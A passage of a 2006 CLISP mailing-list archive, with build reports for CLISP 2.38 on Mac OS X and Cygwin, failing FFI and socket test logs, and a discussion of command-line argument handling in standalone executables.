clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 13:29:08 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 84E23586A7; Wed, 25 Jan 2006 22:28:47 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 55D91585EF; Wed, 25 Jan 2006 22:28:39 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 2F6948305; Wed, 25 Jan 2006 22:28:39 +0100 (CET) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20060125212839.2F6948305@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Compiling 2.38 on MacOSX 10.4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 13:30:01 2006 X-Original-Date: Wed, 25 Jan 2006 22:28:39 +0100 (CET) Compiling clisp-2.38 on MacOSX 10.4 on iMac G5 mostly works, but with these two problems: - --with-dynamic-ffi doesn't work - we get a big socket.erg (A simple test using socket-connect, format and read-line seems to work ok, the problems may be with the test...). Mach kernel version: Darwin Kernel Version 8.4.0: Tue Jan 3 18:22:10 PST 2006; root:xnu-792.6.56.obj~1/RELEASE_PPC Kernel configured for a single processor only. 1 processor is physically available. Processor type: ppc970 (PowerPC 970) Processor active: 0 Primary memory available: 1.50 gigabytes Default processor set: 71 tasks, 196 threads, 1 processors Load average: 0.00, Mach factor: 0.99 #!/bin/bash version=$(awk -F= '/PACKAGE_VERSION=/{print substr($2,2,index($2," ")-2);}' ./src/configure) rm -rf /tmp/clisp-${version}-build/ time ./configure \ --prefix=/usr/local/languages/clisp-${version} \ $(for m in \ clx/new-clx \ rawsock \ regexp \ syscalls \ ; do \ if expr "$m" : 'i18n\|regexp\|syscalls' >/dev/null;\ then true already there ;\ else echo -n "--with-module=$m " ;\ fi ; done) \ --build /tmp/clisp-${version}-build \ --install LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.38 (2006-01-24) (built 3347210846) (memory 3347211221)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare \ -O2 -DUNIX_BINARY_DISTRIB -DUNICODE -DNO_GETTEXT -I. -x none libcharset.a -lncurses -liconv -lsigsegv -L/usr\ /X11R6/lib -lX11 SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 libiconv 1.9" SOFTWARE-VERSION "GNU C 4.0.1 (Apple Computer, Inc. build 5250)" MACHINE-INSTANCE "m142.net81-66-78.noos.fr [81.66.78.142]" MACHINE-TYPE "POWER MACINTOSH" MACHINE-VERSION "POWER MACINTOSH" *FEATURES* (:COM.INFORMATIMAGO.PJB :ASDF-INSTALL :SPLIT-SEQUENCE :ASDF :RAWSOCK :CLX-ANSI-COMMON-LISP :CLX :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :UNICODE :BASE-CHAR=CHARACTER :UNIX :MACOS) ------------------------------------------------------------------------ ... ./test1 Works, test1 passed. ./test2 test2 passed. touch tests.passed.powerpc-apple-darwin8.4.0 gcc -g -O2 -I. -I/local/src/clisp/clisp-2.38/ffcall/callback -c /local/src/clisp/clisp-2.38/ffcall/callback/m\ initests.c /bin/sh ./libtool --mode=link gcc -g -O2 -x none minitests.o libcallback.la -o minitests gcc -g -O2 -x none minitests.o -o minitests ./.libs/libcallback.a ./minitests > minitests.out make: *** [check] Error 132 ./configure: despite --with-dynamic-ffi, FFCALL could not be built [pjb@m142 clisp-2.38]$ cat /tmp/clisp-2.38-build/avcall/minitests.out void f(void): void f(void): int f(void):->99 int f(void):->99 int f(int):(1)->2 int f(int):(1)->2 int f(2*int):(1,2)->3 int f(2*int):(1,2)->3 int f(4*int):(1,2,3,4)->10 int f(4*int):(1,2,3,4)->10 int f(8*int):(1,2,3,4,5,6,7,8)->36 int f(8*int):(1,2,3,4,5,6,7,8)->36 int f(16*int):(1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17)->143 int f(16*int):(1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17)->143 float f(float):(0.1)->1.1 float f(float):(0.1)->1.1 float f(2*float):(0.1,0.2)->0.3 float f(2*float):(0.1,0.2)->0.3 float f(4*float):(0.1,0.2,0.3,0.4)->1 float f(4*float):(0.1,0.2,0.3,0.4)->1 float f(8*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6 float f(8*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6 float f(16*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.7)->14.3 float f(16*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.7)->14.3 double f(double):(0.1)->1.1 double f(double):(0.1)->1.1 double f(2*double):(0.1,0.2)->0.3 double f(2*double):(0.1,0.2)->0.3 double f(4*double):(0.1,0.2,0.3,0.4)->1 double f(4*double):(0.1,0.2,0.3,0.4)->1 double f(8*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6 double f(8*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6 double f(16*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.7)->14.3 double f(16*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.7)->14.3 uchar f(uchar,ushort,uint,ulong):(97,2,3,4)->255 uchar f(uchar,ushort,uint,ulong):(97,2,3,4)->255 double f(int,int,double,double):(1,2,0.3,0.4)->3.7 double f(int,int,double,double):(1,2,0.3,0.4)->3.7 double f(int,double,int,double):(1,0.2,3,0.4)->4.6 double f(int,double,int,double):(1,0.2,3,0.4)->4.6 ushort f(char,double,char,double):('a',0.2,'\200',0.4)->65506 ushort f(char,double,char,double):('a',0.2,'\200',0.4)->65506 void* f(void*,double*,char*,Int*):(0x71f6,0x7268,0x6b90,0x7160)->0x7269 void* f(void*,double*,char*,Int*):(0x71f6,0x7268,0x6b90,0x7160)->0x7269 Int f(Int,Int,Int):({1},{2},{3})->{6} Int f(Int,Int,Int):({1},{2},{3})->{6} J f(J,int,J):({47,11},2,{73,55})->{120,68} J f(J,int,J):({47,11},2,{73,55})->{120,68} [pjb@m142 clisp-2.38]$ cat /tmp/clisp-2.38-build/callback/minitests.out void f(void): void f(void): int f(void):->99 int f(void):->99 int f(int):(1)->2 int f(int):(1)->2 int f(2*int):(1,2)->3 int f(2*int):(1,2)->3 int f(4*int):(1,2,3,4)->10 int f(4*int):(1,2,3,4)->10 int f(8*int):(1,2,3,4,5,6,7,8)->36 int f(8*int):(1,2,3,4,5,6,7,8)->36 int f(16*int):(1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17)->143 int f(16*int):(1,2,3,4,5,6,7,8,9,11,12,13,14,15,16,17)->143 float f(float):(0.1)->1.1 float f(float):(0.1)->1.1 float f(2*float):(0.1,0.2)->0.3 float f(2*float):(0.1,0.2)->0.3 float f(4*float):(0.1,0.2,0.3,0.4)->1 float f(4*float):(0.1,0.2,0.3,0.4)->1 float f(8*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6 float f(8*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6 float f(16*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.7)->14.3 float f(16*float):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9,1.1,1.2,1.3,1.4,1.5,1.6,1.7)->14.3 double f(double):(0.1)->1.1 double f(double):(0.1)->1.1 double f(2*double):(0.1,0.2)->0.3 double f(2*double):(0.1,0.2)->0.3 double f(4*double):(0.1,0.2,0.3,0.4)->1 double f(4*double):(0.1,0.2,0.3,0.4)->1 double f(8*double):(0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8)->3.6 ---------(socket.erg)--------------------------------------------------- Form: (DEFPARAMETER *SERVER* (SOCKET-SERVER)) CORRECT: *SERVER* CLISP : ERROR UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address OUT: "[SIMPLE-OS-ERROR]: UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address " Form: (MULTIPLE-VALUE-LIST (SOCKET-STATUS *SERVER* 0)) CORRECT: (NIL 0) CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (DEFPARAMETER *SOCKET-1* (SOCKET-CONNECT (SOCKET-SERVER-PORT *SERVER*) "localhost" :TIMEOUT 0)) CORRECT: *SOCKET-1* CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (DEFPARAMETER *STATUS-ARG* (LIST (LIST *SERVER*) (LIST *SOCKET-1* :IO))) CORRECT: *STATUS-ARG* CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (EQ (SOCKET-STATUS *STATUS-ARG* 0) *STATUS-ARG*) CORRECT: T CLISP : ERROR EVAL: variable *STATUS-ARG* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *STATUS-ARG* has no value " Form: (CDR (ASSOC *SERVER* *STATUS-ARG*)) CORRECT: T CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (CDDR (ASSOC *SOCKET-1* *STATUS-ARG*)) CORRECT: :OUTPUT CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (DEFPARAMETER *SOCKET-2* (SOCKET-ACCEPT *SERVER*)) CORRECT: *SOCKET-2* CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (PROGN (PUSH (LIST *SOCKET-2* :IO) *STATUS-ARG*) (EQ *STATUS-ARG* (SOCKET-STATUS *STATUS-ARG* 0))) CORRECT: T CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (CDR (ASSOC *SERVER* *STATUS-ARG*)) CORRECT: NIL CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (CDDR (ASSOC *SOCKET-1* *STATUS-ARG*)) CORRECT: :OUTPUT CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (CDDR (ASSOC *SOCKET-2* *STATUS-ARG*)) CORRECT: :OUTPUT CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (WRITE-LINE "foo" *SOCKET-1*) CORRECT: "foo" CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (FINISH-OUTPUT *SOCKET-1*) CORRECT: NIL CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (EQ (SOCKET-STATUS *STATUS-ARG* 0) *STATUS-ARG*) CORRECT: T CLISP : ERROR EVAL: variable *STATUS-ARG* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *STATUS-ARG* has no value " Form: (CDR (ASSOC *SERVER* *STATUS-ARG*)) CORRECT: NIL CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (CDDR (ASSOC *SOCKET-1* *STATUS-ARG*)) CORRECT: :OUTPUT CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (CDDR (ASSOC *SOCKET-2* *STATUS-ARG*)) CORRECT: :IO CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (MULTIPLE-VALUE-LIST (READ-LINE *SOCKET-2*)) CORRECT: ("foo" NIL) CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (CLOSE *SOCKET-1*) CORRECT: T CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (CLOSE *SOCKET-2*) CORRECT: T CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (SOCKET-SERVER-CLOSE *SERVER*) CORRECT: NIL CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (PROGN (SETQ *SERVER* (SOCKET-SERVER 9090) *SOCKET-1* (SOCKET-CONNECT 9090 "localhost" :TIMEOUT 0 :BUFFERED NIL) *SOCKET-2* (SOCKET-ACCEPT *SERVER* :BUFFERED NIL)) (WRITE-CHAR #\a *SOCKET-1*)) CORRECT: #\a CLISP : ERROR UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address OUT: "[SIMPLE-OS-ERROR]: UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address " Form: (LISTP (SHOW (LIST (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-2*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-2*))) :PRETTY T)) CORRECT: T CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0) CORRECT: :INPUT CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (READ-CHAR *SOCKET-2*) CORRECT: #\a CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0) CORRECT: NIL CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (CLOSE *SOCKET-1*) CORRECT: T CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0) CORRECT: :EOF CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (CLOSE *SOCKET-2*) CORRECT: T CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (MULTIPLE-VALUE-LIST (SOCKET-STATUS *SERVER* 0)) CORRECT: (NIL 0) CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (SOCKET-SERVER-CLOSE *SERVER*) CORRECT: NIL CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " -- __Pascal Bourguignon__ http://www.informatimago.com/ "You cannot really appreciate Dilbert unless you read it in the original Klingon" From sds@gnu.org Wed Jan 25 13:45:14 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1sS2-0002G4-98 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 13:45:14 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1sRy-0005J9-Rs for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 13:45:14 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.143]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0PLiIgN004752; Wed, 25 Jan 2006 16:44:32 -0500 (EST) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20060125212839.2F6948305@thalassa.informatimago.com> (Pascal Bourguignon's message of "Wed, 25 Jan 2006 22:28:39 +0100 (CET)") References: <20060125212839.2F6948305@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Compiling 2.38 on MacOSX 10.4 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 13:46:02 2006 X-Original-Date: Wed, 25 Jan 2006 16:43:37 -0500 > * Pascal Bourguignon [2006-01-25 22:28:39 +0100]: > > Compiling clisp-2.38 on MacOSX 10.4 on iMac G5 mostly works, but with > these two problems: > > - --with-dynamic-ffi doesn't work I think the older version(s) of clisp that I built on SF CF clisp-2.35-ppc-powerpc-darwin-6.8.tar.gz clisp-2.35-ppc-powerpc-darwin-7.9.0.tar.gz have FFI. I believe this issue is raised at every release. You might want to file an SF bug report or debug it yourself or file an SF support request asking them to fix SF CF macosx hosts (I did). > - we get a big socket.erg (A simple test using socket-connect, > format and read-line seems to work ok, > the problems may be with the test...). https://sourceforge.net/tracker/?func=detail&aid=1399376&group_id=1355&atid=101355 also see thread "max os x socket problems" on this list. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.iris.org.il http://www.dhimmi.com http://www.savegushkatif.org http://www.jihadwatch.org http://www.openvotingconsortium.org There are 3 kinds of people: those who can count and those who cannot. From kw@w-m-p.com Wed Jan 25 10:25:16 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1pKV-0003aH-Us for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 10:25:15 -0800 Received: from mail.atsec.com ([195.30.252.105]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1pKV-00087l-Do for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 10:25:15 -0800 Received: (qmail 32328 invoked by uid 10125); 25 Jan 2006 18:25:10 -0000 X-SpaceNet-Virusscan: Sophos Version: 4.00; Last IDE Update: 2006-01-25 16:40 no information about results Received: from enchantedrock.atsec.com (HELO io.lan.w-m-p.com) (216.201.228.115) by mail.atsec.com with SMTP; 25 Jan 2006 18:25:09 -0000 X-SpaceNet-Authentification: SMTP AUTH verified Received: by io.lan.w-m-p.com (Postfix, from userid 501) id B58571A00B; Wed, 25 Jan 2006 12:25:12 -0600 (CST) From: Klaus Weidner To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] release 2.38 - standalone executable Message-ID: <20060125182507.GC17726@w-m-p.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.9i X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 14:05:06 2006 X-Original-Date: Wed, 25 Jan 2006 12:25:07 -0600 [ sorry about the duplicate message, I had sent this with the wrong subject due to bad cut&paste from the mailing list archive. ] Sam Steingold writes: >> * Roman Belenov [2006-01-25 18:45:12 +0300]: >> The arguments are processed before init-function is called, so that >> doesn't help. It would be possible to CUSTOM:*INIT-HOOKS* as a >> workaround if ext:*args* were initialized before calling the hooks, >> but it is not the case. > > I don't understand what you want. [...] > $ ./adder "" 1 2 3 4 > 10 > $ The issue here is the extra "" (or --) argument required; if you don't use that the builtin runtime argument processing takes precedence. For example, if you just provide a filename argument to the program it'll try to load that as a Lisp file. I think it would be useful to have the option of gaining full control of command line processing, for the following reasons: - for command line use, the error message you get when forgetting the "" blank argument, or when providing a flag intended for the application that gets intercepted by the runtime, can be very confusing for people who may not know or care that this is a Lisp program. It also makes it impossible to provide a drop-in Lisp replacement for a standard commandline tool. - it breaks drag&drop execution - for example, on a Windows system, you can drag files onto an executable and it'll get run with those files as arguments. This doesn't currently have the desired result due to the missing blank argument when run this way. - programs may want to use "" or -- for their own purposes, such as if they need a distinction between application flags and other arguments internally. The standalone executable capability is potentially extremely useful to create Lisp programs which work just like natively built C programs, both for command line and GUI use, but the nonstandard argument handling currently makes them gratuitously different :-( I had a short look at the source to see if it's feasible to add a :disable-runtime-args switch to saveinitmem, but this looked fairly hard since the argument handling appears to happen very early, before the attached memory image gets loaded. -Klaus From astebakov@yahoo.com Wed Jan 25 10:58:31 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1pqh-0006QS-Dr for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 10:58:31 -0800 Received: from web32005.mail.mud.yahoo.com ([68.142.207.102]) by mail.sourceforge.net with smtp (Exim 4.44) id 1F1pqg-0000hU-B6 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 10:58:31 -0800 Received: (qmail 76805 invoked by uid 60001); 25 Jan 2006 18:58:21 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=C/aEpPifGQP4xsv0qo7NUG9yYGFYlAAiytBSNT17DMVtm1xDxeas2vFv4H4o58d2xCwn4DU52GhVB9OQhlxl2LUbckrX0RWyewIMRaqSBk3/3W5k8ABv4e05yMSKF/w5waIxlvK5zNUEqQ9m5LkqVoN5lw/iudExmCNmiZRmx4g= ; Message-ID: <20060125185821.76803.qmail@web32005.mail.mud.yahoo.com> Received: from [209.50.91.70] by web32005.mail.mud.yahoo.com via HTTP; Wed, 25 Jan 2006 10:58:21 PST From: Andrew Stebakov To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Building clisp 2.38 fails, questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 14:05:07 2006 X-Original-Date: Wed, 25 Jan 2006 10:58:21 -0800 (PST) Hi I downloaded the latest clisp and trying to build it. I have only cygwin installed on my system (with mingw runtime) so I go into the src directory and type: ./configure --with-mingw --build clisp-mingw The result is a bunch of checks and finally: configure: * check for host type checking build system type... Invalid configuration `clisp-mingw': machine `clisp' not recognized configure: error: /bin/sh ./build-aux/config.sub clisp-mingw failed I tried it with --with-cygwin with the same result. Is it because I don't have mingw installed on my system (is it really necessary)? What could be the cause of the failure? Thank you, Andrei __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From daly@axiom-developer.org Wed Jan 25 11:21:13 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1F1qCf-0008A2-QD for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 11:21:13 -0800 Received: from mx-7.zoominternet.net ([24.154.1.26]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1F1qCe-0008BB-D0 for clisp-list@lists.sourceforge.net; Wed, 25 Jan 2006 11:21:13 -0800 Received: from mua-2.zoominternet.net (mua-2.zoominternet.net [24.154.1.45]) by mx-7.zoominternet.net (8.12.11/8.12.11) with ESMTP id k0PJL40r028129; Wed, 25 Jan 2006 14:21:04 -0500 Received: from foo (unknown [72.23.22.90]) by mua-2.zoominternet.net (Postfix) with ESMTP id 4DFD17F406; Wed, 25 Jan 2006 14:21:04 -0500 (EST) Received: (from root@localhost) by foo (8.11.6/8.11.6) id k0PK9mw01336; Wed, 25 Jan 2006 15:09:48 -0500 Message-Id: <200601252009.k0PK9mw01336@foo> From: root To: clisp-list@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net, rbelenov@yandex.ru In-reply-to: (message from Sam Steingold on Wed, 25 Jan 2006 11:14:50 -0500) Subject: Re: [clisp-list] Re: release 2.38 - standalone executable Reply-To: daly@axiom-developer.org References: <20060124221217.65625.qmail@web32003.mail.mud.yahoo.com> X-Spam-Score: 0.00 () [Tag at 15.00] X-CanItPRO-Stream: outgoing X-Scanned-By: CanIt (www . roaringpenguin . com) on 24.154.1.26 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 25 14:05:07 2006 X-Original-Date: Wed, 25 Jan 2006 15:09:48 -0500 Sam, I'm trying to build clisp from the sourceforge CVS as of about 2 hours ago. The configure complained that it could not find libsigsegv and gave instructions for installing and configuring it which I followed. Then I did the configure again with the --with-libsigsegv-prefix and it still complains. I read the configure script and it is checking a variable called ${cl_cv_lib_sigsegv} for the value 'yes' but this variable appears never to be set under any conditions. Suggestions? Tim Daly From 